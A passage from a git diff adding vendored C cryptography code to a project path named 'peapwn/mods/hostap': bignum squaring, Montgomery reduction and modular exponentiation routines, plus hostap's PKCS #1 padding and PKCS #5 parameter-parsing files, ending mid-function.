/* set the members */ + a->used = 0; + a->alloc = size; + a->sign = MP_ZPOS; + + /* zero the digits */ + for (x = 0; x < size; x++) { + a->dp[x] = 0; + } + + return MP_OKAY; +} + + +/* low level squaring, b = a*a, HAC pp.596-597, Algorithm 14.16 */ +static int s_mp_sqr (mp_int * a, mp_int * b) +{ + mp_int t; + int res, ix, iy, pa; + mp_word r; + mp_digit u, tmpx, *tmpt; + + pa = a->used; + if ((res = mp_init_size (&t, 2*pa + 1)) != MP_OKAY) { + return res; + } + + /* default used is maximum possible size */ + t.used = 2*pa + 1; + + for (ix = 0; ix < pa; ix++) { + /* first calculate the digit at 2*ix */ + /* calculate double precision result */ + r = ((mp_word) t.dp[2*ix]) + + ((mp_word)a->dp[ix])*((mp_word)a->dp[ix]); + + /* store lower part in result */ + t.dp[ix+ix] = (mp_digit) (r & ((mp_word) MP_MASK)); + + /* get the carry */ + u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); + + /* left hand side of A[ix] * A[iy] */ + tmpx = a->dp[ix]; + + /* alias for where to store the results */ + tmpt = t.dp + (2*ix + 1); + + for (iy = ix + 1; iy < pa; iy++) { + /* first calculate the product */ + r = ((mp_word)tmpx) * ((mp_word)a->dp[iy]); + + /* now calculate the double precision result, note we use + * addition instead of *2 since it's easier to optimize + */ + r = ((mp_word) *tmpt) + r + r + ((mp_word) u); + + /* store lower part */ + *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); + + /* get carry */ + u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); + } + /* propagate upwards */ + while (u != ((mp_digit) 0)) { + r = ((mp_word) *tmpt) + ((mp_word) u); + *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); + u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); + } + } + + mp_clamp (&t); + mp_exch (&t, b); + mp_clear (&t); + return MP_OKAY; +} + + +/* multiplies |a| * |b| and does not compute the lower digs digits + * [meant to get the higher part of the product] + */ +static int s_mp_mul_high_digs (mp_int * a, mp_int * b, mp_int * c, int digs) +{ + mp_int t; + int res, pa, pb, ix, iy; + mp_digit u; + mp_word r; + mp_digit tmpx, *tmpt, *tmpy; + + /* can we use the fast multiplier? */ +#ifdef BN_FAST_S_MP_MUL_HIGH_DIGS_C + if (((a->used + b->used + 1) < MP_WARRAY) + && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { + return fast_s_mp_mul_high_digs (a, b, c, digs); + } +#endif + + if ((res = mp_init_size (&t, a->used + b->used + 1)) != MP_OKAY) { + return res; + } + t.used = a->used + b->used + 1; + + pa = a->used; + pb = b->used; + for (ix = 0; ix < pa; ix++) { + /* clear the carry */ + u = 0; + + /* left hand side of A[ix] * B[iy] */ + tmpx = a->dp[ix]; + + /* alias to the address of where the digits will be stored */ + tmpt = &(t.dp[digs]); + + /* alias for where to read the right hand side from */ + tmpy = b->dp + (digs - ix); + + for (iy = digs - ix; iy < pb; iy++) { + /* calculate the double precision result */ + r = ((mp_word)*tmpt) + + ((mp_word)tmpx) * ((mp_word)*tmpy++) + + ((mp_word) u); + + /* get the lower part */ + *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); + + /* carry the carry */ + u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); + } + *tmpt = u; + } + mp_clamp (&t); + mp_exch (&t, c); + mp_clear (&t); + return MP_OKAY; +} + + +#ifdef BN_MP_MONTGOMERY_SETUP_C +/* setups the montgomery reduction stuff */ +static int +mp_montgomery_setup (mp_int * n, mp_digit * rho) +{ + mp_digit x, b; + +/* fast inversion mod 2**k + * + * Based on the fact that + * + * XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n) + * => 2*X*A - X*X*A*A = 1 + * => 2*(1) - (1) = 1 + */ + b = n->dp[0]; + + if ((b & 1) == 0) { + return MP_VAL; + } + + x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */ + x *= 2 - b * x; /* here x*a==1 mod 2**8 */ +#if !defined(MP_8BIT) + x *= 2 - b * x; /* here x*a==1 mod 2**16 */ +#endif +#if defined(MP_64BIT) || !(defined(MP_8BIT) || defined(MP_16BIT)) + x *= 2 - b * x; /* here x*a==1 mod 2**32 */ +#endif +#ifdef MP_64BIT + x *= 2 - b * x; /* here x*a==1 mod 2**64 */ +#endif + + /* rho = -1/m mod b */ + *rho = (unsigned long)(((mp_word)1 << ((mp_word) DIGIT_BIT)) - x) & MP_MASK; + + return MP_OKAY; +} +#endif + + +#ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C +/* computes xR**-1 == x (mod N) via Montgomery Reduction + * + * This is an optimized implementation of montgomery_reduce + * which uses the comba method to quickly calculate the columns of the + * reduction. + * + * Based on Algorithm 14.32 on pp.601 of HAC. +*/ +static int fast_mp_montgomery_reduce (mp_int * x, mp_int * n, mp_digit rho) +{ + int ix, res, olduse; + mp_word W[MP_WARRAY]; + + /* get old used count */ + olduse = x->used; + + /* grow a as required */ + if (x->alloc < n->used + 1) { + if ((res = mp_grow (x, n->used + 1)) != MP_OKAY) { + return res; + } + } + + /* first we have to get the digits of the input into + * an array of double precision words W[...] + */ + { + register mp_word *_W; + register mp_digit *tmpx; + + /* alias for the W[] array */ + _W = W; + + /* alias for the digits of x*/ + tmpx = x->dp; + + /* copy the digits of a into W[0..a->used-1] */ + for (ix = 0; ix < x->used; ix++) { + *_W++ = *tmpx++; + } + + /* zero the high words of W[a->used..m->used*2] */ + for (; ix < n->used * 2 + 1; ix++) { + *_W++ = 0; + } + } + + /* now we proceed to zero successive digits + * from the least significant upwards + */ + for (ix = 0; ix < n->used; ix++) { + /* mu = ai * m' mod b + * + * We avoid a double precision multiplication (which isn't required) + * by casting the value down to a mp_digit. Note this requires + * that W[ix-1] have the carry cleared (see after the inner loop) + */ + register mp_digit mu; + mu = (mp_digit) (((W[ix] & MP_MASK) * rho) & MP_MASK); + + /* a = a + mu * m * b**i + * + * This is computed in place and on the fly. The multiplication + * by b**i is handled by offseting which columns the results + * are added to. + * + * Note the comba method normally doesn't handle carries in the + * inner loop In this case we fix the carry from the previous + * column since the Montgomery reduction requires digits of the + * result (so far) [see above] to work. This is + * handled by fixing up one carry after the inner loop. The + * carry fixups are done in order so after these loops the + * first m->used words of W[] have the carries fixed + */ + { + register int iy; + register mp_digit *tmpn; + register mp_word *_W; + + /* alias for the digits of the modulus */ + tmpn = n->dp; + + /* Alias for the columns set by an offset of ix */ + _W = W + ix; + + /* inner loop */ + for (iy = 0; iy < n->used; iy++) { + *_W++ += ((mp_word)mu) * ((mp_word)*tmpn++); + } + } + + /* now fix carry for next digit, W[ix+1] */ + W[ix + 1] += W[ix] >> ((mp_word) DIGIT_BIT); + } + + /* now we have to propagate the carries and + * shift the words downward [all those least + * significant digits we zeroed]. + */ + { + register mp_digit *tmpx; + register mp_word *_W, *_W1; + + /* nox fix rest of carries */ + + /* alias for current word */ + _W1 = W + ix; + + /* alias for next word, where the carry goes */ + _W = W + ++ix; + + for (; ix <= n->used * 2 + 1; ix++) { + *_W++ += *_W1++ >> ((mp_word) DIGIT_BIT); + } + + /* copy out, A = A/b**n + * + * The result is A/b**n but instead of converting from an + * array of mp_word to mp_digit than calling mp_rshd + * we just copy them in the right order + */ + + /* alias for destination word */ + tmpx = x->dp; + + /* alias for shifted double precision result */ + _W = W + n->used; + + for (ix = 0; ix < n->used + 1; ix++) { + *tmpx++ = (mp_digit)(*_W++ & ((mp_word) MP_MASK)); + } + + /* zero oldused digits, if the input a was larger than + * m->used+1 we'll have to clear the digits + */ + for (; ix < olduse; ix++) { + *tmpx++ = 0; + } + } + + /* set the max used and clamp */ + x->used = n->used + 1; + mp_clamp (x); + + /* if A >= m then A = A - m */ + if (mp_cmp_mag (x, n) != MP_LT) { + return s_mp_sub (x, n, x); + } + return MP_OKAY; +} +#endif + + +#ifdef BN_MP_MUL_2_C +/* b = a*2 */ +static int mp_mul_2(mp_int * a, mp_int * b) +{ + int x, res, oldused; + + /* grow to accommodate result */ + if (b->alloc < a->used + 1) { + if ((res = mp_grow (b, a->used + 1)) != MP_OKAY) { + return res; + } + } + + oldused = b->used; + b->used = a->used; + + { + register mp_digit r, rr, *tmpa, *tmpb; + + /* alias for source */ + tmpa = a->dp; + + /* alias for dest */ + tmpb = b->dp; + + /* carry */ + r = 0; + for (x = 0; x < a->used; x++) { + + /* get what will be the *next* carry bit from the + * MSB of the current digit + */ + rr = *tmpa >> ((mp_digit)(DIGIT_BIT - 1)); + + /* now shift up this digit, add in the carry [from the previous] */ + *tmpb++ = ((*tmpa++ << ((mp_digit)1)) | r) & MP_MASK; + + /* copy the carry that would be from the source + * digit into the next iteration + */ + r = rr; + } + + /* new leading digit? */ + if (r != 0) { + /* add a MSB which is always 1 at this point */ + *tmpb = 1; + ++(b->used); + } + + /* now zero any excess digits on the destination + * that we didn't write to + */ + tmpb = b->dp + b->used; + for (x = b->used; x < oldused; x++) { + *tmpb++ = 0; + } + } + b->sign = a->sign; + return MP_OKAY; +} +#endif + + +#ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C +/* + * shifts with subtractions when the result is greater than b. + * + * The method is slightly modified to shift B unconditionally up to just under + * the leading bit of b. This saves a lot of multiple precision shifting. + */ +static int mp_montgomery_calc_normalization (mp_int * a, mp_int * b) +{ + int x, bits, res; + + /* how many bits of last digit does b use */ + bits = mp_count_bits (b) % DIGIT_BIT; + + if (b->used > 1) { + if ((res = mp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1)) != MP_OKAY) { + return res; + } + } else { + mp_set(a, 1); + bits = 1; + } + + + /* now compute C = A * B mod b */ + for (x = bits - 1; x < (int)DIGIT_BIT; x++) { + if ((res = mp_mul_2 (a, a)) != MP_OKAY) { + return res; + } + if (mp_cmp_mag (a, b) != MP_LT) { + if ((res = s_mp_sub (a, b, a)) != MP_OKAY) { + return res; + } + } + } + + return MP_OKAY; +} +#endif + + +#ifdef BN_MP_EXPTMOD_FAST_C +/* computes Y == G**X mod P, HAC pp.616, Algorithm 14.85 + * + * Uses a left-to-right k-ary sliding window to compute the modular exponentiation. + * The value of k changes based on the size of the exponent. + * + * Uses Montgomery or Diminished Radix reduction [whichever appropriate] + */ + +static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) +{ + mp_int M[TAB_SIZE], res; + mp_digit buf, mp; + int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; + + /* use a pointer to the reduction algorithm. This allows us to use + * one of many reduction algorithms without modding the guts of + * the code with if statements everywhere. + */ + int (*redux)(mp_int*,mp_int*,mp_digit); + + /* find window size */ + x = mp_count_bits (X); + if (x <= 7) { + winsize = 2; + } else if (x <= 36) { + winsize = 3; + } else if (x <= 140) { + winsize = 4; + } else if (x <= 450) { + winsize = 5; + } else if (x <= 1303) { + winsize = 6; + } else if (x <= 3529) { + winsize = 7; + } else { + winsize = 8; + } + +#ifdef MP_LOW_MEM + if (winsize > 5) { + winsize = 5; + } +#endif + + /* init M array */ + /* init first cell */ + if ((err = mp_init(&M[1])) != MP_OKAY) { + return err; + } + + /* now init the second half of the array */ + for (x = 1<<(winsize-1); x < (1 << winsize); x++) { + if ((err = mp_init(&M[x])) != MP_OKAY) { + for (y = 1<<(winsize-1); y < x; y++) { + mp_clear (&M[y]); + } + mp_clear(&M[1]); + return err; + } + } + + /* determine and setup reduction code */ + if (redmode == 0) { +#ifdef BN_MP_MONTGOMERY_SETUP_C + /* now setup montgomery */ + if ((err = mp_montgomery_setup (P, &mp)) != MP_OKAY) { + goto LBL_M; + } +#else + err = MP_VAL; + goto LBL_M; +#endif + + /* automatically pick the comba one if available (saves quite a few calls/ifs) */ +#ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C + if (((P->used * 2 + 1) < MP_WARRAY) && + P->used < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { + redux = fast_mp_montgomery_reduce; + } else +#endif + { +#ifdef BN_MP_MONTGOMERY_REDUCE_C + /* use slower baseline Montgomery method */ + redux = mp_montgomery_reduce; +#else + err = MP_VAL; + goto LBL_M; +#endif + } + } else if (redmode == 1) { +#if defined(BN_MP_DR_SETUP_C) && defined(BN_MP_DR_REDUCE_C) + /* setup DR reduction for moduli of the form B**k - b */ + mp_dr_setup(P, &mp); + redux = mp_dr_reduce; +#else + err = MP_VAL; + goto LBL_M; +#endif + } else { +#if defined(BN_MP_REDUCE_2K_SETUP_C) && defined(BN_MP_REDUCE_2K_C) + /* setup DR reduction for moduli of the form 2**k - b */ + if ((err = mp_reduce_2k_setup(P, &mp)) != MP_OKAY) { + goto LBL_M; + } + redux = mp_reduce_2k; +#else + err = MP_VAL; + goto LBL_M; +#endif + } + + /* setup result */ + if ((err = mp_init (&res)) != MP_OKAY) { + goto LBL_M; + } + + /* create M table + * + + * + * The first half of the table is not computed though accept for M[0] and M[1] + */ + + if (redmode == 0) { +#ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C + /* now we need R mod m */ + if ((err = mp_montgomery_calc_normalization (&res, P)) != MP_OKAY) { + goto LBL_RES; + } +#else + err = MP_VAL; + goto LBL_RES; +#endif + + /* now set M[1] to G * R mod m */ + if ((err = mp_mulmod (G, &res, P, &M[1])) != MP_OKAY) { + goto LBL_RES; + } + } else { + mp_set(&res, 1); + if ((err = mp_mod(G, P, &M[1])) != MP_OKAY) { + goto LBL_RES; + } + } + + /* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */ + if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { + goto LBL_RES; + } + + for (x = 0; x < (winsize - 1); x++) { + if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&M[1 << (winsize - 1)], P, mp)) != MP_OKAY) { + goto LBL_RES; + } + } + + /* create upper table */ + for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { + if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&M[x], P, mp)) != MP_OKAY) { + goto LBL_RES; + } + } + + /* set initial mode and bit cnt */ + mode = 0; + bitcnt = 1; + buf = 0; + digidx = X->used - 1; + bitcpy = 0; + bitbuf = 0; + + for (;;) { + /* grab next digit as required */ + if (--bitcnt == 0) { + /* if digidx == -1 we are out of digits so break */ + if (digidx == -1) { + break; + } + /* read next digit and reset bitcnt */ + buf = X->dp[digidx--]; + bitcnt = (int)DIGIT_BIT; + } + + /* grab the next msb from the exponent */ + y = (mp_digit)(buf >> (DIGIT_BIT - 1)) & 1; + buf <<= (mp_digit)1; + + /* if the bit is zero and mode == 0 then we ignore it + * These represent the leading zero bits before the first 1 bit + * in the exponent. Technically this opt is not required but it + * does lower the # of trivial squaring/reductions used + */ + if (mode == 0 && y == 0) { + continue; + } + + /* if the bit is zero and mode == 1 then we square */ + if (mode == 1 && y == 0) { + if ((err = mp_sqr (&res, &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, mp)) != MP_OKAY) { + goto LBL_RES; + } + continue; + } + + /* else we add it to the window */ + bitbuf |= (y << (winsize - ++bitcpy)); + mode = 2; + + if (bitcpy == winsize) { + /* ok window is filled so square as required and multiply */ + /* square first */ + for (x = 0; x < winsize; x++) { + if ((err = mp_sqr (&res, &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, mp)) != MP_OKAY) { + goto LBL_RES; + } + } + + /* then multiply */ + if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, mp)) != MP_OKAY) { + goto LBL_RES; + } + + /* empty window and reset */ + bitcpy = 0; + bitbuf = 0; + mode = 1; + } + } + + /* if bits remain then square/multiply */ + if (mode == 2 && bitcpy > 0) { + /* square then multiply if the bit is set */ + for (x = 0; x < bitcpy; x++) { + if ((err = mp_sqr (&res, &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, mp)) != MP_OKAY) { + goto LBL_RES; + } + + /* get next bit of the window */ + bitbuf <<= 1; + if ((bitbuf & (1 << winsize)) != 0) { + /* then multiply */ + if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, mp)) != MP_OKAY) { + goto LBL_RES; + } + } + } + } + + if (redmode == 0) { + /* fixup result if Montgomery reduction is used + * recall that any value in a Montgomery system is + * actually multiplied by R mod n. So we have + * to reduce one more time to cancel out the factor + * of R. + */ + if ((err = redux(&res, P, mp)) != MP_OKAY) { + goto LBL_RES; + } + } + + /* swap res with Y */ + mp_exch (&res, Y); + err = MP_OKAY; +LBL_RES:mp_clear (&res); +LBL_M: + mp_clear(&M[1]); + for (x = 1<<(winsize-1); x < (1 << winsize); x++) { + mp_clear (&M[x]); + } + return err; +} +#endif + + +#ifdef BN_FAST_S_MP_SQR_C +/* the jist of squaring... + * you do like mult except the offset of the tmpx [one that + * starts closer to zero] can't equal the offset of tmpy. + * So basically you set up iy like before then you min it with + * (ty-tx) so that it never happens. You double all those + * you add in the inner loop + +After that loop you do the squares and add them in. +*/ + +static int fast_s_mp_sqr (mp_int * a, mp_int * b) +{ + int olduse, res, pa, ix, iz; + mp_digit W[MP_WARRAY], *tmpx; + mp_word W1; + + /* grow the destination as required */ + pa = a->used + a->used; + if (b->alloc < pa) { + if ((res = mp_grow (b, pa)) != MP_OKAY) { + return res; + } + } + + /* number of output digits to produce */ + W1 = 0; + for (ix = 0; ix < pa; ix++) { + int tx, ty, iy; + mp_word _W; + mp_digit *tmpy; + + /* clear counter */ + _W = 0; + + /* get offsets into the two bignums */ + ty = MIN(a->used-1, ix); + tx = ix - ty; + + /* setup temp aliases */ + tmpx = a->dp + tx; + tmpy = a->dp + ty; + + /* this is the number of times the loop will iterrate, essentially + while (tx++ < a->used && ty-- >= 0) { ... } + */ + iy = MIN(a->used-tx, ty+1); + + /* now for squaring tx can never equal ty + * we halve the distance since they approach at a rate of 2x + * and we have to round because odd cases need to be executed + */ + iy = MIN(iy, (ty-tx+1)>>1); + + /* execute loop */ + for (iz = 0; iz < iy; iz++) { + _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); + } + + /* double the inner product and add carry */ + _W = _W + _W + W1; + + /* even columns have the square term in them */ + if ((ix&1) == 0) { + _W += ((mp_word)a->dp[ix>>1])*((mp_word)a->dp[ix>>1]); + } + + /* store it */ + W[ix] = (mp_digit)(_W & MP_MASK); + + /* make next carry */ + W1 = _W >> ((mp_word)DIGIT_BIT); + } + + /* setup dest */ + olduse = b->used; + b->used = a->used+a->used; + + { + mp_digit *tmpb; + tmpb = b->dp; + for (ix = 0; ix < pa; ix++) { + *tmpb++ = W[ix] & MP_MASK; + } + + /* clear unused digits [that existed in the old copy of c] */ + for (; ix < olduse; ix++) { + *tmpb++ = 0; + } + } + mp_clamp (b); + return MP_OKAY; +} +#endif + + +#ifdef BN_MP_MUL_D_C +/* multiply by a digit */ +static int +mp_mul_d (mp_int * a, mp_digit b, mp_int * c) +{ + mp_digit u, *tmpa, *tmpc; + mp_word r; + int ix, res, olduse; + + /* make sure c is big enough to hold a*b */ + if (c->alloc < a->used + 1) { + if ((res = mp_grow (c, a->used + 1)) != MP_OKAY) { + return res; + } + } + + /* get the original destinations used count */ + olduse = c->used; + + /* set the sign */ + c->sign = a->sign; + + /* alias for a->dp [source] */ + tmpa = a->dp; + + /* alias for c->dp [dest] */ + tmpc = c->dp; + + /* zero carry */ + u = 0; + + /* compute columns */ + for (ix = 0; ix < a->used; ix++) { + /* compute product and carry sum for this term */ + r = ((mp_word) u) + ((mp_word)*tmpa++) * ((mp_word)b); + + /* mask off higher bits to get a single digit */ + *tmpc++ = (mp_digit) (r & ((mp_word) MP_MASK)); + + /* send carry into next iteration */ + u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); + } + + /* store final carry [if any] and increment ix offset */ + *tmpc++ = u; + ++ix; + + /* now zero digits above the top */ + while (ix++ < olduse) { + *tmpc++ = 0; + } + + /* set used count */ + c->used = a->used + 1; + mp_clamp(c); + + return MP_OKAY; +} +#endif diff --git a/peapwn/mods/hostap/src/tls/pkcs1.c b/peapwn/mods/hostap/src/tls/pkcs1.c new file mode 100644 index 000000000..b6fde5ee8 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/pkcs1.c @@ -0,0 +1,195 @@ +/* + * PKCS #1 (RSA Encryption) + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "rsa.h" +#include "pkcs1.h" + + +static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + size_t ps_len; + u8 *pos; + + /* + * PKCS #1 v1.5, 8.1: + * + * EB = 00 || BT || PS || 00 || D + * BT = 00 or 01 for private-key operation; 02 for public-key operation + * PS = k-3-||D||; at least eight octets + * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) + * k = length of modulus in octets (modlen) + */ + + if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { + wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " + "lengths (modlen=%lu outlen=%lu inlen=%lu)", + __func__, (unsigned long) modlen, + (unsigned long) *outlen, + (unsigned long) inlen); + return -1; + } + + pos = out; + *pos++ = 0x00; + *pos++ = block_type; /* BT */ + ps_len = modlen - inlen - 3; + switch (block_type) { + case 0: + os_memset(pos, 0x00, ps_len); + pos += ps_len; + break; + case 1: + os_memset(pos, 0xff, ps_len); + pos += ps_len; + break; + case 2: + if (os_get_random(pos, ps_len) < 0) { + wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " + "random data for PS", __func__); + return -1; + } + while (ps_len--) { + if (*pos == 0x00) + *pos = 0x01; + pos++; + } + break; + default: + wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " + "%d", __func__, block_type); + return -1; + } + *pos++ = 0x00; + os_memcpy(pos, in, inlen); /* D */ + + return 0; +} + + +int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, + int use_private, const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + size_t modlen; + + modlen = crypto_rsa_get_modulus_len(key); + + if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, + out, outlen) < 0) + return -1; + + return crypto_rsa_exptmod(out, modlen, out, outlen, key, use_private); +} + + +int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + int res; + u8 *pos, *end; + + res = crypto_rsa_exptmod(in, inlen, out, outlen, key, 1); + if (res) + return res; + + if (*outlen < 2 || out[0] != 0 || out[1] != 2) + return -1; + + /* Skip PS (pseudorandom non-zero octets) */ + pos = out + 2; + end = out + *outlen; + while (*pos && pos < end) + pos++; + if (pos == end) + return -1; + pos++; + + *outlen -= pos - out; + + /* Strip PKCS #1 header */ + os_memmove(out, pos, *outlen); + + return 0; +} + + +int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, + const u8 *crypt, size_t crypt_len, + u8 *plain, size_t *plain_len) +{ + size_t len; + u8 *pos; + + len = *plain_len; + if (crypto_rsa_exptmod(crypt, crypt_len, plain, &len, key, 0) < 0) + return -1; + + /* + * PKCS #1 v1.5, 8.1: + * + * EB = 00 || BT || PS || 00 || D + * BT = 00 or 01 + * PS = k-3-||D|| times (00 if BT=00) or (FF if BT=01) + * k = length of modulus in octets + */ + + if (len < 3 + 8 + 16 /* min hash len */ || + plain[0] != 0x00 || (plain[1] != 0x00 && plain[1] != 0x01)) { + wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " + "structure"); + return -1; + } + + pos = plain + 3; + if (plain[1] == 0x00) { + /* BT = 00 */ + if (plain[2] != 0x00) { + wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " + "PS (BT=00)"); + return -1; + } + while (pos + 1 < plain + len && *pos == 0x00 && pos[1] == 0x00) + pos++; + } else { + /* BT = 01 */ + if (plain[2] != 0xff) { + wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " + "PS (BT=01)"); + return -1; + } + while (pos < plain + len && *pos == 0xff) + pos++; + } + + if (pos - plain - 2 < 8) { + /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ + wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " + "padding"); + return -1; + } + + if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { + wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " + "structure (2)"); + return -1; + } + pos++; + len -= pos - plain; + + /* Strip PKCS #1 header */ + os_memmove(plain, pos, len); + *plain_len = len; + + return 0; +} diff --git a/peapwn/mods/hostap/src/tls/pkcs1.h b/peapwn/mods/hostap/src/tls/pkcs1.h new file mode 100644 index 000000000..ed64defaa --- /dev/null +++ b/peapwn/mods/hostap/src/tls/pkcs1.h @@ -0,0 +1,22 @@ +/* + * PKCS #1 (RSA Encryption) + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PKCS1_H +#define PKCS1_H + +int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, + int use_private, const u8 *in, size_t inlen, + u8 *out, size_t *outlen); +int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen); +int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, + const u8 *crypt, size_t crypt_len, + u8 *plain, size_t *plain_len); + +#endif /* PKCS1_H */ diff --git a/peapwn/mods/hostap/src/tls/pkcs5.c b/peapwn/mods/hostap/src/tls/pkcs5.c new file mode 100644 index 000000000..8a9348378 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/pkcs5.c @@ -0,0 +1,232 @@ +/* + * PKCS #5 (Password-based Encryption) + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "crypto/md5.h" +#include "asn1.h" +#include "pkcs5.h" + + +struct pkcs5_params { + enum pkcs5_alg { + PKCS5_ALG_UNKNOWN, + PKCS5_ALG_MD5_DES_CBC + } alg; + u8 salt[8]; + size_t salt_len; + unsigned int iter_count; +}; + + +static enum pkcs5_alg pkcs5_get_alg(struct asn1_oid *oid) +{ + if (oid->len == 7 && + oid->oid[0] == 1 /* iso */ && + oid->oid[1] == 2 /* member-body */ && + oid->oid[2] == 840 /* us */ && + oid->oid[3] == 113549 /* rsadsi */ && + oid->oid[4] == 1 /* pkcs */ && + oid->oid[5] == 5 /* pkcs-5 */ && + oid->oid[6] == 3 /* pbeWithMD5AndDES-CBC */) + return PKCS5_ALG_MD5_DES_CBC; + + return PKCS5_ALG_UNKNOWN; +} + + +static int pkcs5_get_params(const u8 *enc_alg, size_t enc_alg_len, + struct pkcs5_params *params) +{ + struct asn1_hdr hdr; + const u8 *enc_alg_end, *pos, *end; + struct asn1_oid oid; + char obuf[80]; + + /* AlgorithmIdentifier */ + + enc_alg_end = enc_alg + enc_alg_len; + + os_memset(params, 0, sizeof(*params)); + + if (asn1_get_oid(enc_alg, enc_alg_end - enc_alg, &oid, &pos)) { + wpa_printf(MSG_DEBUG, "PKCS #5: Failed to parse OID " + "(algorithm)"); + return -1; + } + + asn1_oid_to_str(&oid, obuf, sizeof(obuf)); + wpa_printf(MSG_DEBUG, "PKCS #5: encryption algorithm %s", obuf); + params->alg = pkcs5_get_alg(&oid); + if (params->alg == PKCS5_ALG_UNKNOWN) { + wpa_printf(MSG_INFO, "PKCS #5: unsupported encryption " + "algorithm %s", obuf); + return -1; + } + + /* + * PKCS#5, Section 8 + * PBEParameter ::= SEQUENCE { + * salt OCTET STRING SIZE(8), + * iterationCount INTEGER } + */ + + if (asn1_get_next(pos, enc_alg_end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "PKCS #5: Expected SEQUENCE " + "(PBEParameter) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + end = hdr.payload + hdr.length; + + /* salt OCTET STRING SIZE(8) */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_OCTETSTRING || + hdr.length != 8) { + wpa_printf(MSG_DEBUG, "PKCS #5: Expected OCTETSTRING SIZE(8) " + "(salt) - found class %d tag 0x%x size %d", + hdr.class, hdr.tag, hdr.length); + return -1; + } + pos = hdr.payload + hdr.length; + os_memcpy(params->salt, hdr.payload, hdr.length); + params->salt_len = hdr.length; + wpa_hexdump(MSG_DEBUG, "PKCS #5: salt", + params->salt, params->salt_len); + + /* iterationCount INTEGER */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "PKCS #5: Expected INTEGER - found " + "class %d tag 0x%x", hdr.class, hdr.tag); + return -1; + } + if (hdr.length == 1) + params->iter_count = *hdr.payload; + else if (hdr.length == 2) + params->iter_count = WPA_GET_BE16(hdr.payload); + else if (hdr.length == 4) + params->iter_count = WPA_GET_BE32(hdr.payload); + else { + wpa_hexdump(MSG_DEBUG, "PKCS #5: Unsupported INTEGER value " + " (iterationCount)", + 